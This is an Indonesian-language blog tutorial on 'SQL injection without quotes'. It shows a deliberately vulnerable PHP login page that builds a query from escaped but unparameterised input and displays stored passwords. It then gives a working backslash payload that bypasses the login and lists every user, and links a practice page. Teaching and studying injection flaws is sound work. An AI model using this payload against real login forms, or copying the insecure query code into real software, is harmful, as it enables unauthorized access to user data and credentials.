Saya mempunyai database seperti dibawah ini :
Dan yang pertama kita buat dulu file php seperti dibawah ini :
/* SQL Injection without Quots */
<br><br>
<form method="GET" action="">
<input type="text" name="user" placeholder="Username" />
<input type="text" name="pass" placeholder="Password" />
<input type="submit" value="Login" />
</form>
<br><br>
<?php
mysql_connect("localhost","username","password");
mysql_select_db("database");
if(isset($_GET['user']) and isset($_GET['pass'])){
$user = htmlentities(substr($_GET['user'], 0, 15), ENT_QUOTES);
$pass = htmlentities(substr($_GET['pass'], 0, 15), ENT_QUOTES);
echo "<table border>
<tr>
<th>id</th>
<th>Nama Depan</th>
<th>Nama Belakang</th>
<th>Password</th>
</tr>
";
$query = mysql_query("select * from petugas where nama_depan='$user' and password='$pass'");
while($data = mysql_fetch_assoc($query)){
echo "
<tr>
<td>{$data['id']}</td>
<td>{$data['nama_depan']}</td>
<td>{$data['nama_belakang']}</td>
<td>{$data['password']}</td>
</tr>
";
}
echo "</table>";
}
Perhatikan pada baris code :
select * from petugas where nama_depan='$user' and password='$pass'Pada bagian ini kita bisa menggunakan Backslash (\) pada Username untuk membuat karakter petik menjadi value pada Username, lihat query dibawah ini jika masih belum paham,
select * from petugas where nama_depan='\' and password='$pass'Jadi pada $pass kita bisa mengontrol Query SQL.
Exploit menggunakan backslash sangat mudah dengan menggunakan :
username : \
password : ||1#
Saat kita memasukkan payloads SQLI diatas, maka akan menampilkan semua user dari database.
Kalian bisa mencoba SQL Injection Without Quotes disini :
http://xssme.berita-internetku.com/sqli/login.php
Itu sedikit berbagi tutorial "SQL Injection Without Quotes" dari saya, semoga dapat membantu sobat. Terimakasih sudah berkunjung.
Referensi : https://eternalnoobs.com/sqli-without-quotes/
0 comments